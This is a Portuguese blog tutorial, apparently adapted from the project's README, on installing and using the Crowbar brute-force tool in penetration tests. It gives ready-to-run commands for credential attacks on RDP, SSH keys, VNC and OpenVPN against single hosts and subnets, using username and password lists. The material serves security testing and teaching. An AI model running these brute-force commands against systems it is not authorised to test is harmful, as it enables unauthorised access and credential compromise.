Crowbar é uma ferramenta de brute force que pode ser usada durante testes de penetração. Também conhecida formalmente como Levye, foi desenvolvida para força bruta em alguns protocolos de uma maneira diferente se comparada ao thc-hydra e outras ferramentas populares.
Por exemplo, enquanto a maioria das ferramentas de força bruta usam nome de usuário e senha para ataques de força bruta para SSH, o Crowbar usa chave(s) SSH. Isso permite que todas as chaves privadas que tenham sido obtidas durante os testes de penetração sejam usadas para atacar outros servidores SSH.
Atualmente, o Crowbar suporta:
- OpenVPN (
-b openvpn
); - Remote Desktop Protocol (RDP) com suporte NLA (
-b rdp
); - Autenticação de chave privada SSH (
-b sshkey
); - Autenticação de chave VNC (
-b vpn
).
Instalação
Instale todas as dependências:
# apt-get -y install openvpn freerdp-x11 vncviewer
Então receba a última versão do GitHub:
# git clone https://github.com/galkan/crowbar
Nota: O pacote do cliente RDP depende do seu sistema operacional:
- Debian 7/8 & Kali 1/2 usa o pacote
freerdp-x11
; - Além disso, você pode tentar o
xfreerdp
; - Talvez seja necessário compilar e ajustar o
freerdp
de acordo com este link.
Não se esqueça de editar o script para apontar para o novo binário!
Uso
-b: Serviço de destino. Crowbar suporta: openvpn
, rdp
, sshkey
, vnckey
-c: Senha estática para fazer login com
-C: </path/to/file>
para a lista de senhas
-d: Execute um tcp port scan (nmap) na faixa de IP (-s
/ -S
) antes de tentar a força bruta. Isso irá descobrir se a porta do alvo está aberta.
-D: Habilitar o modo debug
-h: Exibir o menu de ajuda
-k: </path/to/file-or-folder>
para arquivos de chaves (para SSH ou VNC)
-l: </path/to/file>
para armazenar o arquivo de log (o padrão é ./crowbar.log
)
-m: </path/to/file>
para um arquivo de configuração OpenVPN
-n: Thread count
-o: </path/to/file>
para armazenar a(s) tentativa(s) com sucesso (o padrão é ./crowbar.out
)
-p: Número da porta (se o serviço não estiver na porta padrão)
-q: Ativar quiet mode (apenas mostrar logins bem sucedidos)
-s: Endereço IP ou intervalo de destino (em notação CIDR)
-S: </path/to/file>
which is stores target IP addresses
-t: Valor de timeout
-u: Single username
-U: </path/to/file>
which stores the username list
-v: Habilitar o modo verbose (mostra todas as tentativas)
Se quiser ver todas as opções de uso, use: ./crowbar.py --help
.
ATENÇÃO: se você quiser usar o nome de usuário, incluindo DOMAIN, por favor, especifique o nome de usuário como mostrado abaixo. Barra invertida ( \
) é o caractere de escape para Python. Então, você deve usar qualquer um dos dois formatos a seguir:
# ./crowbar.py -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s 10.68.35.150/32 2015-03-28 11:03:39 RDP-SUCCESS : 10.68.35.150:3389 - "DOMAIN\gokhan alkan":Aa123456,
ou
# ./crowbar.py -b rdp -u gokhan alkan@ornek -c Aa123456 -s 10.68.35.150/32 2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456,
Brute Forcing Remote Desktop Protocol (RDP)
Abaixo estão alguns exemplos de ataque RDP usando Crowbar.
RDP brute forcing com um único endereço IP usando apenas um nome de usuário e uma única senha:
# ./crowbar.py -b rdp -s 192.168.2.182/32 -u admin -c Aa123456
RDP brute force com um único endereço IP usando o arquivo de lista de nome de usuário e uma única senha:
# ./crowbar.py -b rdp -s 192.168.2.211/32 -U /root/Desktop/userlist -c passw0rd
RDP brute force com um único endereço IP e usando um único nome de usuário com uma lista de senhas:
# ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C /root/Desktop/passlist
RDP brute force em uma sub-rede usando uma lista de nome de usuário e uma lista de senhas no modo de descoberta (discovery):
# ./crowbar.py -b rdp -s 192.168.2.0/24 -U /root/Desktop/userlist -C /root/Desktop/passlist -d
Brute Forcing SSH Private Keys
Abaixo estão alguns exemplos de uso do Crowbar.
A tentativa de força bruta da chave SSH para um único endereço IP usando um único nome de usuário e uma única chave SSH privada:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k /root/.ssh/id_rsa
A tentativa de força bruta da chave SSH para um único endereço IP usando um único nome de usuário e todas as chaves SSH em uma pasta:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k /root/.ssh/
A tentativa de força bruta da chave SSH para uma sub-rede usando um único nome de usuário e todas as chaves SSH em uma pasta no modo de descoberta (discovery):
# ./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k /root/.ssh/ -d
Brute Forcing VNC
VNC força bruta com tentativa para um único endereço IP usando um arquivo de senha com número de porta especificado:
# ./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -k /root/.vnc/passwd
Brute Forcing OpenVPN
Abaixo estão alguns exemplos de ataque a OpenVPN com o Crowbar.
OpenVPN força bruta com um único endereço IP usando um arquivo de configuração, um arquivo de certificado, um único nome de usuário e uma única senha com número de porta especificado:
# ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 443 -m /root/Desktop/vpnbook.ovpn -k /root/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF
Logs e Output
Uma vez que você executou o Crowbar, ele irá gerar 2 arquivos para log e resultados que estarão localizados em seu diretório atual. O nome do arquivo de log padrão é crowbar.log
que armazena todas as tentativas de força bruta durante a execução. Se você não quiser usar o arquivo de log padrão, você deve usar -l log_path
. O segundo arquivo é crowbar.out
que armazena tentativas bem sucedidas durante a execução. Se você não quiser usar o arquivo de saída padrão, você deve usar -o output_path
. Depois disso, você pode observar as operações do Crowbar.
Vídeos com Demonstrações
Vídeo 1
Vídeo 2
Vídeo 3
Download
Para efetuar o download, acesse a página do projeto no GitHub.
EXTRA: Não deixe de conferir!
- Violações de senhas estão impulsionando o mercado de credential stuffing
- Nmap no Android: Instalando e Utilizando
.
.
Disclaimer: Todas as informações aqui contidas são para fins didáticos e não para causar danos e prejuízos para alguém, usem sempre o conhecimento aqui compartilhado com ética e responsabilidade. Não nos responsabilizamos pela utilização indevida do conteúdo aqui exposto. Leia mais no aviso legal em nosso site.
.